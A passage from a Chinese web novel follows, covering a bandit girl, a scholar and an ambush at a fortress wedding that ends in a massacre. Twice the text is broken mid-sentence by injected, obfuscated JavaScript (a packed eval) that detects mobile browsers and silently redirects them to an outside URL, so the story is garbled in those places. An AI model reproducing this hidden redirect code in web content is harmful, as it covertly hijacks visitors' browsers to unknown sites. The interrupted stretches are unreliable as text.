“听说许文达和定襄郡的太守马绍宗结为盟军,准备攻打常山郡。郑吉的军队此番出现在庆泽县,无疑是趁着许文达攻打常山郡,在厉阳郡的兵力减少,来一个黄雀在后。只不过,我一直想不明白的是,常山郡的地理位置并不是很好,也不是军事要塞。这许文达为何大费周章,同马绍宗结盟,攻打常山郡?这太奇怪了。”沈老大将地图铺在桌子上,看了半天也看不出许文达的用意。 二当家也盯着看了半天,最后目光落在恩济县的一处。 “此处有一座铁矿山,许文达要想搅入这场风波,铁器必不可少。他如此不惜代价地攻打常山郡,应该是为了恩济县的铁矿山。” 元长安听着他们对现在局势的分析,一言不发,聚精会神。 最后,沈老大来了一句,“看来我们清风寨也要早做打算,一旦恒王东进,我们的地理位置便十分不妙。” 二当家应和道:“明日去黄石堡赴婚宴,我会找个机会,同石守恩协商。若能联手合作最好,如果不能,我们也好早做打算。” “明天就看你了。”沈老大这时才注意到元长安还在这里,“你怎么还没走?” 元长安嘿嘿一笑:“这就走这就走。” 沈老大被她逗笑了,“你以后多注意点身体,别老是打打杀杀。等寨子里清闲了,我准备去冠川县一趟,听说那里有一位老神医,灵得很。到时候,我带你一起去,看看你身上的毒能不能解。” 元长安对解毒这个事情,说心动也心动,毕竟她是真的想多活几年。说无感也无感,她一向对这世间毫无留恋。 “我体内中毒的事情,顺其自然就好,反正生死有命,富贵在天。” 二当家从不意外她有这种想法,毕竟也是他看着长大的。“不管怎么说,有希望就是有奔头,你多对自己上点心。” 元长安吐了吐舌头,“知道了。” “我听说这几天,陈治一直在教你读书识字?” 二当家的话同样也引起了沈老大的好奇,他完全不敢相信,元长安竟然能坐下来读书识字。 沈老大记得元长安三岁的时候,二当家教她读书,人直接跑没影儿了。直到最后,二当家都没有见到元长安的身影。 “你竟然还能静下心来看书,这太阳怕不是从西边出来了?” 也难怪沈老大和二当家不相信,毕竟元长安自己也难以置信,自己竟然会跟着陈治学了那么多天的书。 她单手托着下巴,面露回想之色,“主要是陈怀久他教的好,说话也好听。” 不知不觉,那双灵动的眼睛弯成了两弯新月,嘴角不自觉上扬。 “瞧长安这样子,怕不是心里有了陈治那小子?” 二当家刚说完,沈老大制止道:“哎——长安才十三岁,懂什么情爱,你别把长安教坏了。” 二当家知道沈老大心里是不愿意承认,他舍不得。元长安还在襁褓之中,就被沈老大捡上山。虽说是糙养、散养长大的,但二人之间的感情也是亲如父女。 “我告诉你啊长安,你现在还小,心思要摆正。知不知道?” 元长安原本还一脸喜色,瞬间变得不开心,眉头一皱,“本来就是没影儿的是,就知道瞎担心。” 沈老大被元长安这么一说,神色严肃,一副要说教的样子:“你才多大,还没及笈,懂什么情啊爱啊?还有沈让那臭小子,整天围着那个沈清棠转,也不知道怎么想的。” 元长安不解道:“清棠阿姐人挺好的啊。” 二当家替沈老大说道:“她和陈治到底是身份特殊,有些事情不能不防,不能……” 元长安单手托下巴改成双手托着,眉眼低垂:“知道啦,不能将清风寨置于风口浪尖之上。” 沈老大看向元长安的眼神,带着“还算懂事”的意味。 ----------------- 因是深秋,东山树叶枯黄凋敝,一片枯黄的叶子随风飘零,正巧落在沈清棠的面前。她伸手接住了那片飘落的枯叶,看着手中这片枯叶良久,随后便顺手丢在地上。 沈让感到山风微凉,转而说道:“要不要回去拿件衣服,这山上太冷了。” 沈清棠知道他关心自己,领了他的好意:“不必,我这身子骨也没那么脆弱。” 话音刚落地,突然蹦出来一个穿着素雅的女子,她看到沈让的那一刻,眼睛都放光。“沈大哥,你怎么来后山了?” 沈让见是柳莺儿,脸上堆满了难为情,“我陪清棠阿姐在采药。” 柳莺儿上下打量着这个与沈让站在一起的人儿,面露戒备:“你就是沈大哥救上山的那个美人儿?我瞧着也不怎么样嘛。” 沈清棠那里会看不出来柳莺儿对沈让的情意,那眼神看向沈让时,满含爱意。看着自己的时候,又是敌意满满。她婉言道:“若柳姑娘找沈兄弟有事,那我就先过去了,你们慢慢聊。” 她不想参与这些为了一个男人,说话夹枪带棒的场面,还是躲得远些。 然而,沈清棠刚要离开,就被沈让拉住了手。只听见他对着柳莺儿说道:“我和清棠阿姐还有事,就先走了。”说着,不去看柳莺儿生气的脸色和沈清棠惊讶的表情,拉着沈清棠的手就离开了。 直到看不见柳莺儿的身影,沈让才放开一直挣扎着的沈清棠的手。他转身正对着沈清棠,满目柔情,“清棠,我……” 沈清棠知道他要说什么,立马抬手制止了他。她偏过头,不去看他,不去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142851|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正视他对自己的感情。 “你我二人之间,相隔太多。你应该从怀久口中知道我的过往。我年长你三岁,曾做过半年的太子妃。虽说这件事情已经过去四年,有些东西也早已如过眼云烟,不复存在。 但你我之间的沟壑,难以填平。你不了解我,我也不了解你。而且我身上背负着血海深仇,总有一天,我要为我沈氏一族报仇雪恨。你现在的生活,还算平静,不能因为我,打破了你的平静。” 沈让了解她的过往,知道她身上的负重。他想抓住她的手,看着她的眼睛,然后告诉她一句:我不在乎,我只要你。 但是,沈清棠心中无意。即便他说一百遍、一千遍,哪怕一万遍,也不会得到自己想要的结果。 二人相顾无言,但彼此的心意早就昭然若揭。 ----------------- 次日一早,元长安在练武场刚练完枪法和功夫,而陈治也合上了手中的书本。 “离出发的时间还早,正好检查一下你昨日的背书成果。”陈治不说话还好,一说话就将元长安拿捏的死死的。 元长安仰天长叹,“唉,在劫难逃啊。” 陈治仿若没有听出她的抱怨,还笑着夸她,在劫难逃用的很对。 就这样,陈治提问了一些问题,而元长安回答的不是最好,但也不是最坏。 “还可以,我原以为你会一个都回答不上来。” 元长安“切”了一声,然后说道:“瞧不起谁呢?我还是很有天赋的。” 陈治宠溺的眼神,元长安没有看到,只听到他说:“长安聪敏,怀久自愧不如。” 元长安知道他在打趣自己,但还是很受用,“算你识相。对了,寨子外面有一棵柿子树,树上的柿子都成熟了,趁寨子里的人还没有摘完,你要是喜欢吃柿子,我给你摘几个尝尝。” 说起柿子,陈治倒是好久没有吃过了,“那就多摘一些,我晚上做柿子饼吃。” 元长安的眉毛高高扬起,出乎意料道:“陈怀久,你会的还挺全乎。” 陈治学着刚才元长安得意的神情,“这些都不值一提。” 天空湛蓝如洗,阳光透过稀疏的云层洒落大地,空气中弥漫着微凉的寒意。 柿子树上的叶子,有的摇摇欲坠,随风舞动;有的已经飘落,铺满了一地金黄。而那些挂在枝头的柿子,犹如一个个小灯笼,在秋风中轻轻摇曳。成熟的柿子表皮光滑细腻,色泽鲜艳,透出诱人的光泽。有的柿子已经熟透,沉甸甸地压弯了枝头,仿佛随时都要坠落下来。 “陈怀久,我上去往下面扔,你在下面接着点。” 元长安翻身一跃,一脚踩上了树干上的一处凹陷,然后一个借力跃上了高处,紧接着用手臂环抱住较粗的枝干。她伸手去够那些成熟的柿子,只要个头圆润,颜色鲜艳,就直接扭下来,往下扔。 每当元长安摘下一个柿子递给下方时,陈治便稳稳地接过,小心翼翼地放入一旁的篮子里。陈治抬头看着树上的元长安,虽然他不辩颜色,但是他想太阳光一定照在她身上,因为他眼中的元长安是那样的鲜活明亮。 “长安,差不多够了,不用再摘了。”陈治看到已经装了一筐的柿子,抬头对着树上的元长安喊道。 元长安闻言,将手里的柿子往嘴里一送,轻轻一跃,落在地面上。“那么快就够了?” 陈治点点头,“这些就够了,我做的也不一定好吃,先用这些练练手。” “行,听你的。”元长安两三口就将那一整个柿子吃完,然后背起竹筐,“走吧。” 陈治见她如此蛮力,自愧不如。 就在这个时候,路过一个道士。他的道袍洗的发白,手中的拂尘光秃秃的。个子不高,还很瘦。陈治想着举手之劳,便走上前递给了那道士一个柿子。 道士微微俯身,双手接过那颗柿子,“多谢公子。” 陈治回之,“不必客气,举手之劳。” 道士直起身,盯着陈治的脸看了许久,搞得陈治以为脸上有脏东西,下意识去擦。道士微微颔首,“公子乃富贵之人,然一生中有两大劫数。其一劫已安然度过,可保尔后位高权重,稳居高位。尚有一劫,关乎生死,此乃命之大限也。” 陈治对算命看相没什么兴趣,但还是客气地回一句:“生死由命,在下认命也信命。” 道士摇了摇头,不经意间看到了不远处的元长安,脸色大惊:“煞气凝形,杀意凛然,此乃短命之相。” 刚才还很客气的陈治,听闻道士这句话,立马变了脸色。而元长安也听到了道士的话,她不在意地回道:“还真让你这老道士说对了,我这人啊,就是活不长。” 陈治的脸色越来越难看,他神色凝重,对道士道:“告辞。”说完,拉着元长安的手腕,“我们回去吧。” 元长安看他脸色难看,也不知道他怎么了,但还是听他的话,快步回了山寨。 道士看着他们二人离去的背影,无奈地摇着头离开了。 回到寨子里,陈治打破了二人的沉默,“我来背着吧。” 元长安颠了一下竹篓,脸不红气不喘道:“不用,我比你结实,就你那身子骨,等一下再闪着自己。” 面对元长安不经意的嫌弃,陈治还是有些心情低落。 “长安,我……” “长安,你干什么去了?正找你呢,我们该去黄石堡了。”二当家突然出现,打断了陈治的话。 元长安应道:“知道啦!” 正巧碰到巡逻的小兵,其中一个小兵与元长安的关系比较好,看到那一筐的柿子,口水都要留下来了:“小元爷怎么摘了那么多柿子?你不是什么味儿都尝不出来吗?” “你管我能不能尝出味儿来,拿着!”元长安顺手将竹筐交给那小兵,“我跟二当家出去一趟,你帮我把这东西送到厨房,谁也不许动。否则,我可饶不了他。” 小兵显然被元长安的瞪眼吓了一下,连连应和:“好的小元爷,保证您回来的时候,一个不少的。” “那就好。”转而元长安对陈治道:“陈怀久,咱们一起去,正好给你改善一下伙食。” 陈治收住刚才要说的话,点头道:“好。” ----------------- 二当家带着元长安和陈治二人一起驾马去黄石堡,在路上,元长安反复叮嘱陈治道:“等到了地方,你就一直跟着我就行。黄石堡的人,身上都有几条人命,不是好相与的。特别是黄石堡堡主石守恩,听说他当年是柳河县的游徼,因为妻子被上级奸污,直接带着一众兄弟屠杀了那奸污自己妻子的上级官员全家,连那家四岁的孩子都没放过。后来逃到黄石堡,自立门户。” 陈治听着元长安的叮嘱,连连点头:“我会小心的。” “还有那个石玉秀,也不是什么好人,你别被她相了去。”元长安一看到陈治这祸国殃民的脸,就有些怀疑自己带他来是不是正确的选择。 陈治突然加快速度,但是元长安还是听到风传来的声音:“有你在,我放心。” 元长安眼睛弯弯,也加快了速度,追赶陈治。二当家只觉得有两阵风,从身边刮过,“你俩别走那么快,离婚宴开始还早着呢,不着急。” 12. 喜庆盈门日 黄石堡靠近庆泽县东北二十里,属于清阳县,面对白崇山,背靠丹江湾。占地百顷,门高路阔,是块宝地。 二当家和元长安、陈治骑马半个时辰就到了地方。不过来的比较早,席还没有开。石玉秀穿着红色便服,和石守恩一起站在门外迎来宾。 “令嫒佳期已至,鸾凤和鸣,诚为可喜可贺!可喜可贺啊!”二当家脸上堆满笑意,“谨以薄礼,聊表寸心,愿玉秀侄女与新郎官永结同心,白头偕老。” 元长安适时地将手中的礼品交给一旁的小兵,然后装作不经意地瞥了眼石玉秀。见她正满眼好奇地打量着,戴着面巾的陈治,心中不禁想:还好到地方前,给陈治扯了块布戴在脸上。 石守恩今天一整天都是高兴地合不拢嘴,“难得周二当家赏脸赴宴,等开了宴,你我兄弟二人,必须把酒言欢,不醉不归。” 二当家也不跟他客套:“石堡主盛情款待,周某不胜感激。” “玉秀,还不见过你周叔叔。”石守恩轻唤了一声石玉秀的名字,石玉秀正打量着陈治出神,被自己亲爹喊回神,立马脸上浮现得体的笑意:“周叔叔好,我带周叔叔进去。” 二当家似是没有看到石玉秀对陈治的好奇,“那感情好,里面请。” 一进石堡,就是一个巨大的院落,里面摆满了饭桌,也陆陆续续坐了不少人。靠门的两处墙角的瞭望台,分别有二到三人负责站岗,而且院子内还时不时有五六个小兵来回走动。二当家看向那些小兵的眼神,意味深长。 陈治一眼扫过院子里的来宾,看到某一处的地方,眼神停留片刻,心生诧异。元长安看到了他脸上那一丝异样的表情,特意凑近并压低声音问道:“可是发现什么了?” 陈治瞥了一眼二当家身旁的石玉秀,轻声回道:“等一会儿和你说。” 元长安也看了一眼石玉秀,然后冲他点点头,“好。” 接着一直往里走,就到了后院,这边都是道上有头有脸之人,排面很大。 “周叔叔,你们就坐这里,二楼风景好也清静,没什么人。” “玉秀侄女有心了。” 石玉秀一改往日嚣张跋扈的态度,脸上笑容不断,倒是让元长安不适应。她再次凑近陈治,轻声道:“说实话,我是真不适应她这个样子。” 陈治回道:“你知道为什么吗?” 元长安被问住了,她眉头微皱,眼神略带怀疑“你知道为什么?” 陈治老神在在地道:“知道。” “我不信。”元长安脸上写着“你在骗人”,面巾遮挡住陈治的下半张脸,所以没人看到他面巾下,那一抹宠溺的笑容。但,你盯着他的眼睛看,就会发现,他的双眸倒映着元长安一个人。 石玉秀发现了,她原是瞧着这个带面巾的小伙子,上半张脸露出的那双眼睛,当真是好看,比自己的那个小新郎官还要好看。却没想到,此人与元长安的关系,怕是非同一般。 “周叔叔请坐,这个时辰我还要上妆换衣服,您请便。” 二当家坐下之后,对石玉秀道:“我们这里没事,你忙去吧。” 石玉秀走的时候,还特意看了一眼坐下之后,仍在窃窃私语的元长安和陈治。 “我们打赌?”陈治在元长安看不到的地方,眼神划过一抹精光。 而元长安还傻傻地问道:“赌什么?” 陈治装模作样地思考了好一会儿,然后说道:“如果我答对了,你就将昨日我教你的那篇文章,抄写一遍。如果我答错了,明天、后天这两天,我允许你休息。” 听到可以休息两天,元长安就被冲动冲昏了头脑。“一言为定!” “一言为定。”陈治因阴谋得逞,都快压不住嘴角了。 “你快说说,为什么?” “因为,今天是她大喜的日子。”陈治脸上的笑意藏不住了,眉眼一弯,眼神明亮。 这时元长安才知道,自己被他耍了,“陈怀久!” 其实她本来就认为是这个原因,但是陈治眼睛透出来的认真,让她以为事情没那么简单。没想到,是自己太天真了。 “好啦好啦,我先给你说说我刚才进来的时候,发现了什么吧。”陈治赶忙扯开话题,“坐在院子东北角那一片,有几桌子的人,他们的坐姿不像普通土匪,倒像是……” “正规军。” 二当家突然插话,使得元长安和陈治纷纷望向他。陈治开口道:“二当家也发现了。” “那几桌人,挺胸收腹,腿微分,双脚外八字,双手放在膝盖上,典型的正规军队士兵的坐姿。而他们腰间的刀,是正规环首刀,这些人要么是高官侍卫护从,要么是军士。”二当家给自己倒了一杯茶,还贴心询问道:“你们喝不喝?” 陈治摘下面巾,微微颔首:“我自己来就好。”说着站起身来接过二当家递来的茶壶,一边倒水一边道:“而且他们衣服虽然是平民老百姓的衣服,但是他们脚下穿的鞋子,我隐约看到是高帮,而且鞋后跟有一个小提环,这些特征很明显就是骑兵的马靴。” 元长安喝着陈治倒的茶水,眼珠子一会儿看向二当家,一会儿看向陈治,安安静静地听着他们的谈话。 “稍后静观其变。” “明白。” ----------------- 金秋时节,红叶如火,黄叶似金,漫山遍野都是秋天的盛装。而在这片绚烂色彩的映衬下,黄石堡内更是张灯结彩,喜气洋洋。 夕阳西沉,山庄内外已是人声鼎沸,灯火璀璨。 元长安等人坐在二楼西北角的地方,正好能看到后院来来往往的宾客,以及院子里的景象也尽收眼底。 □□院中,宾客们络绎不绝地到来,他们或是附近的土匪头领,或是道上结交的乡绅富贾,每个人脸上都洋溢着喜悦,是真是假,难以琢磨。一些孩童在人群中穿梭嬉戏,欢笑声此起彼伏,为这庄重的时刻增添了几分童趣。 “吉时已到!”随着一声高喊,两位新人缓步从屋里走出来。 石玉秀头戴凤冠,虽然不如贵族千金那样奢华,但还是有一些金银饰品来装饰。一袭材质上称的锦缎婚服,绣工精致,虽不是用金银丝线织就的图案,但绣娘用普通的缝线绣出的图案也栩栩如生,象征着吉祥如意。 她的妆容比较明艳,眉毛画成长长的柳叶眉,胭脂来点缀脸颊,使其更加红润;眉间点上一朵小小的桃花妆,增加几分妩媚;而嘴唇涂着朱砂色的唇膏,显得格外娇艳欲滴。 而她身边的新郎官,戴着一种圆顶、有帽沿的“进贤冠”。他穿着黑色长袍,长袍的设计简洁大方,领口、袖口以及衣摆处有精致的绣花。腰间会系上一条宽大的红色腰带,上面有一些云纹。穿着一双质地较好的布鞋,颜色与服饰相协调。 然而,就在此时,二当家不经意间看到石守恩与一小兵交谈,然后匆匆忙忙地离开了。他心中盘算着,跟元长安和陈治说道:“我去趟茅房,你们两个别乱跑,好好待着。如果菜上来了,你们也不用等我,你们先吃。” 元长安点头应道:“知道了。” 二当家离开后,元长安看着石玉秀的妆容,眼神中带着惊讶和惊鸿:“你还真别说,石玉秀今天真好看。” 陈治也看到了石玉秀的装扮,虽然不算价值不菲,但也不是什么人都能穿的起。他轻声回道:“毕竟是一生中最重要的日子,肯定是要惊艳四座的。看她这般装束,想来石堡主也是将石小姐放在心尖上疼爱的。” 元长安若有其事地点点头:“确实,石堡主就石玉秀这一个女儿,那真是捧在手上怕摔了,含在嘴里怕化了。” 当新郎官离他们越来越近的时候,元长安看清楚新郎官的面容之后,大吃一惊。 “冯子嵇!” 陈治顺着她的目光看去,竟然真的是他。他眉头一皱,“怎么会是他?” “没想到他竟然从白崇山逃了出来。” “长安,”陈治突然看向元长安,“我有一个大胆的想法。” 元长安似乎也是想到了陈治所想到的可能,“你是说?” “白崇山位于庆泽县和清阳县之间,他若逃出白崇山,最安全的路,就是去庆泽县。而我们在庆泽县碰到了郑吉的骑兵,说明郑吉已经掌控了庆泽县。那冯子嵇,想必已经成了郑吉的人。参加宴席的那些骑兵,应该就是冯子嵇带来的恒王骑兵。” 元长安“啧”了一声:“石玉秀看人的眼光还是没有长进。” 陈治道:“等二当家回来了,把这些事情,给他说说。” “好。” ----------------- 二当家在黄石堡转悠了好一会儿,摸清了一些难以发现的布局安排,以及想明白了他心底的疑问。 然后正巧路过书房时,碰到了刚出来的石守恩,倒是将石守恩吓了一跳。 “周二当家这是特意堵我呢?” “有些事情,我想找石堡主聊一聊。不知石堡主,是否给小弟一点时间?”二当家摇着他的羽毛扇子,不承认也不否认,“关于今日令嫒婚礼一事。” 石守恩抬头看了看天色,然后将二当家请进了书房,“那就请周二当家,进屋一叙。” “请。”二当家客气道。 ----------------- 菜已经全部上齐,可二当家还没有回来,元长安都快坐不住了。 不过陈治却稳若泰山,不紧不慢地品尝着佳肴。“这鸡做的还不错,你尝尝。” 陈治刚伸出去的筷子又立马收了回来,笑容带着歉意:“我忘了你尝不出来味道。” 元长安呵呵一笑:“这天也黑了,二当家怎么还没回来?陈怀久,你要不要去茅房找找二当家去?” 陈治咽下嘴里的菜,道:“你不用那么着急,说不定二当家是去找石堡主聊事儿去了。你呀,还是先填饱肚子再说吧。” 正当宴会进行到高潮之际,天空却突然变得阴沉起来。原本还凉暖适宜的晚风,此刻却变得有些寒意。不一会儿,第一滴雨珠从空中落下,紧接着便是倾盆大雨。 “怎么雨说下就下?”元长安嘴里塞着肉,说话口齿不清。 陈治吃完最后一口菜,放下筷子回道:“《四时观象》中记载,‘夫天地之间,阴阳相交,水汽升腾,凝结成云。然则云厚而密,风起而聚,遂致雨落。今朝日暖风轻,天高气爽,乃阳气盛也。午后之时,地气蒸腾,水汽上升,遇冷而凝,积聚而成云。云之厚薄,视乎水汽之多寡;风之强弱,关乎云之聚散。适逢此时,风力突增,引得云气汇集,故而虽前时晴朗,俄顷之间,天色骤变,雨珠纷飞’。等回去之后,我把那本书借给你看看。” 元长安头都摇成了拨浪鼓,“我不借,我不看。” 然而,陈治挑眉轻笑,眼底笑意浅浅,“没事,我可以教你。” 元长安知道自己是逃不掉了,索性报复性地将桌面上的饭菜一样都塞进嘴里,那份愤恨的模样,好似在咬陈治。 大雨磅礴,但这并没有影响到宴会的气氛,反而为这场喜庆增添了别样的情趣。雨珠落在屋顶的瓦片上,发出了清脆悦耳的声音。后院的客人们纷纷移步至室内,继续举杯畅饮。而前院也只是架起了布棚子,雨珠在布面上疯狂暴打的声音,也算一种助兴。 ----------------- 书房内的石守恩和二当家,从窗外看到大雨倾盆而下,听到哗啦啦的声音在安静的书房里回荡。 石守恩神色从容,若无其事道:“今年的秋天,雨下得比往年要多,一看就是多事之秋。” “落叶纷飞,秋林双月,可不就是多事之秋。”二当家品着茶,摇着扇,好不惬意。 石守恩将手中的茶碗放在桌面上,起身走到窗户边,将窗户放下来:“雨声太大了,还是要把窗户关上才听不到。” 二当家神情微动,随即恢复平静:“不管能不能听见,出去这个门,还是能看得到满地泥泞。说不定,还会沾在自己的身上。” 石守恩看向二当家,眼神一闪,似笑非笑道:“周二当家这是话里有话?” “难道石堡主不是吗?” 二人对视的那一刻,仰头大笑。石守恩坐回位置上,手指着二当家道:“周老二啊周老二,你可真是一只老狐狸。罢了罢了,跟你打哑谜,我是班门弄斧。你有什么想问的,直接说就行。” 二当家抱拳道:“我也不跟石堡主客气,就是想问问石堡主,堡内突然出现的骑兵,不知道堡主可知道?” 石堡主面色一怔,眼神躲闪,害怕被看出异样,连忙换了一副疑问的神情,反问道:“怎么?周二当家知道他们?” “石堡主,你……”二当家略一迟疑,虽说他心中已有定论,但他总觉得石守恩还在隐瞒着什么,只能尝试寻找他语言的破绽,“你早就知道他们在黄石堡?” 石守恩冷笑道:“老子在黄石堡当堡主的时候,那个冯子嵇还不知道在哪个娘们儿肚子里呢。他以为骗了我闺女就万事大吉了,老子早就把他的底儿摸得个底朝天。” 二当家感觉到他浑身上下撒发的冷意,虽然心有疑虑,但还是陪笑道:“看来是小弟想多了。既然石堡主有所防范,那小弟就说一说其他的事情。” 石守恩眼珠子一转,笑着说道:“那老哥我就洗耳恭听,反正闲着也是闲着。” 二当家准备旁敲侧击,“石堡主可知道周城侯?”他边说边观察着石守恩的脸色。 不出所料,石守恩脸色一僵,喝茶的动作也停顿了一下,不过很快就恢复了正常。 “在厉阳,谁不知道周城侯许文达?最近几年,他的发展势头很猛啊!” “那石堡主……” 他还没说完,就见石玉秀便推门而入。 “爹,你女儿的洞房花烛夜,为什么要装病把我叫来?”石玉秀听手下人说石守恩老毛病犯了,吓得赶紧抛下如花似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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石玉秀就这样莫名其妙地被带到了偏屋。 “说吧,你是怎么看出来的?”石玉秀被带走后,石守恩也不再伪装,他坐回自己的座位上,刚要喝口茶,发现茶碗里的水凉了,他也不在意,直接一口闷。 二当家不紧不慢地说道:“你从一开始就暴露了,你的那些巡逻的小兵身上佩戴的,是官兵特制的环首刀。它与普通的环首刀不同,弧刀身,长三十七寸,宽二寸。而民间环首刀因为技术不成熟且铁料有限,多为直刀身,长二十八寸,宽一寸半。” “没想到周二当家观察的那么仔细,我真是佩服。” “不敢当,与石堡主的手段比起来,我这点观察算不了什么。” “没错,那些巡逻的兵,都是许侯爷派来的。我们堡里的弟兄都是半吊子,没多大能耐,对付恒王的那支队伍,就是以卵击石,这点觉悟我还是有的。不过,黄石堡上下我都做好了安排。不管是恒王的兵马,还是许侯爷的援兵。最后得利的,必须是我!” 石守恩攥碎了手中的茶碗盖子,他要做这场对弈之中的渔翁。 “我知道许侯与马绍宗结盟准备攻打常山郡,他们的兵马应该都已经出动。现如今,厉阳与少陵之间,就好比拉满的弓,蓄势待发。而庆泽县、黄石堡和清风寨,就是他们两方拉拢的箭,尤其是许侯。 我在着黄石堡窝了半辈子,但我不能让我闺女跟我一起在这里磋磨一辈子。现在这个世道,谁有兵马谁说了算。我黄石堡弟兄不多,也都是苦命人,不争就会死。既然争,总得往上争,这上面是什么,就不用我多说了吧?” 二当家嗤笑道:“石堡主野心不小。”说着,他站起身就往外走,一边走一边感慨道:“君子守正坦荡,小人行险侥幸啊!” “周南叙!”石守恩气的牙痒痒,但就是拿他没办法。 ----------------- 雨来得快、下得大,但是停的也快。 “雨终于停了,咱俩都吃的差不多了,二当家怎么还没回来?”元长安刚念叨着,就看到二当家摇着他的羽毛扇子过来了。 二当家神清气爽地坐在自己的座位上,看着桌子的残渣,“你们还真是不等我?” 元长安不合时宜地打了一个饱嗝,她还不好意思地捂住自己的嘴巴,“谁让你上个茅房都这么长时间,我们还以为你回清风寨了呢。” 二当家也不气恼,哈哈一笑:“说不过你,不过今天晚上,有好戏看。” 元长安和陈治二人对视,后者轻轻点了点头,然后对二当家说道:“我和长安在这里,碰到了一个熟人。” “谁?” “石玉秀的那个新郎官,就是白崇山上裴四娘的义子,冯子嵇。”元长安回道,“我和陈怀久猜测,堡里参宴的那些骑兵,应该就是冯子嵇带来的。” 二当家用筷子挑拣了些肉渣,一边吃一边说道:“原来这个冯子嵇和我们清风寨,还有这般渊源。” “今晚的好戏,是不是跟冯子嵇和那些骑兵有关?” 元长安有些兴奋,她最喜欢看戏,更喜欢能凑热闹。二当家对她的小心思了如指掌,“今晚的黄石堡不会太平,我们现在离开是来不及了,赶紧吃完找个地方躲起来。” “不行,我就待在这里。要躲你们躲,我反正不会躲。好不容易有热闹可以看,我才不躲起来呢。”元长安撇了撇嘴,将自己的蝴蝶双刀摆在桌面上。 二当家劝不住元长安,索性看向陈治,而陈治也仅是耸了耸肩,表示无可奈何。于是,二当家妥协道:“罢了,你自己在这里多注意安全,别暴露自己的位置。” “知道啦知道啦。”元长安虽然嘴上这么说,但她绝对不会干看着,什么也不做的。 二当家始终放心不下元长安,将陈治安置妥当,他便去找元长安,说什么也要把她带过来。 陈治一个人在昏暗的角落里藏着,不知道怎么的,他竟然听到了母亲的呼唤。可是周围一片漆黑,他的眼睛也什么都看不到。 突然,眼前出现一抹明亮的光,他跟着那束光,跌跌撞撞,兜兜转转,不知道转到了什么地方。然后,来到一处灯火通明的小院子,眼前出现了一个熟人。 “少陵一别,怀久别来无恙啊。” 陈治轻笑道:“别来无恙,知韫兄。” ----------------- 宴席接近尾声,二当家和陈治离开之后,元长安吃了一口刚端上来的水果,然后起身从二楼翻跃而下,去了前院。 前院的小兵喝得酩酊大醉,倒成一片。而那几桌骑兵,依旧坐姿挺拔,时刻警惕着。元长安躲在暗处,嗤笑一声,破绽百出。 忽然,她想到刚刚忘了告诉二当家,陈怀久的眼睛在稍微昏暗的地方就什么都看不到。 “我这脑子!”元长安一拍自己的脑门,小声自责道:“不过,有二当家陪着,陈怀久应该没什么问题。” 13. 黄石堡大乱 “嘭!” 突然之间,天空一声巨响,不知道是谁放的信号烟。只听见石堡外声音嘈杂,喊杀声不断。坐在院子里的那些骑兵,也纷纷拔出佩刀,兵分两路。一队杀进后院,一队开门迎接。 留下前院的那队人,一边砍杀一边向大门走去。 而那些喝醉的小兵和宾客毫无反手之力,只能成为俎上鱼肉。惨叫声、哭喊声连绵不绝。不知道从哪里窜出来一个小孩,嚎啕大哭,嘴里还不停地喊着娘。然而,没有一个人顾得上他。只有一个手握利刀的官兵,一步一步走进他,手起刀落。那个小男孩,再也找不到他的娘了。 支撑布棚子的木棍也都断成好几截,布棚子落在地上,雨水和血水混合将这块布浸染。 还有几个大红灯笼坠落在地,没了亮光。 元长安看着这一幕,没有任何感觉,她的注意力全在那些官兵身上。 前院所发生的事情,后院的宾客也有所察觉,却不料等他们反应过来的时候,已经被困在后院之中。将他们包围的,正是石守恩身边的福叔。 “发生了什么事情?福叔你……”其中一个宾客想质问福叔,却感觉身体发软,头晕脑胀,站也站不稳。 有人察觉到不对劲儿,将手指塞到喉咙里催吐,随后有几人效仿,但都于事无补。 “石守恩,你狼子野心!不讲道义!” 一个人出声,其他人就都反应过来了,纷纷叫嚷着石守恩。但他们越喊,身体就越没有力气。 福叔看他们就像看跳梁小丑一样,也不跟他们废话,直接下令让人把这些人带下去。但凡有反抗者,直接抹了脖子、捅穿身体。很多人被这一景象吓得,动都不敢动,任由福叔让人把他们带走。 仅一盏茶的功夫,前院那些人打开了石堡的大门,一群身穿红袍盔甲的士兵冲进了院子。冲在最前面的是骑马的官兵,他们行如风,为后面的官兵开道。 然而,石堡的墙壁之上,早已站满了手握弓箭、身穿白袍盔甲的官兵。大门也突然关闭,将闯进来的红袍官兵围困在院子里。 那些准备冲杀进后院的官兵,皆死于乱箭之下。 “这招瓮中捉鳖使得好!”二当家不由得地夸赞道。他原是来找元长安的,不出所料她人不知道又跑哪里去了。于是他找到前院和后院中间的一棵大树,枝叶还算茂密。他一跃而上,隐藏在枝叶后面,侧头正好看到从屋子里出来的石守恩。 “那些人都处理好了?”石守恩对身边的小兵问道。 小兵答:“堡主放心,福叔已经把他们都关起来了,不听话的,也都处理了。” 而石守恩登上靠墙的一座高台,将前院所发生的惨状尽收眼底:“放信号烟,让余将军他们放箭!一定要将他们全部射杀!” “是!” 信号一起,乱箭齐飞。红袍将领看到墙头上站着的白袍兵,瞬间明白自己这是入了他人之瓮,他一边抵挡飞箭一边下令道:“他们后院防守薄弱,冲进后院!” 话音一落,那些红袍兵直冲后院。前后两院中间的门,不如大门结实,撞了没几下就明显有些摇摇欲坠。 “他娘的,真是低估他了。”石守恩脸色一变,看来这个冯子嵇有两把刷子,将黄石堡摸得一清二楚,“余耀呢!他不是说负责守后院吗?!” “堡主,后院根本就没有人把守!而且,福叔他们也不见了踪影。我们怕是上了余耀的当了!”一个小兵着急地跑着上了高台,边跑边喊道。 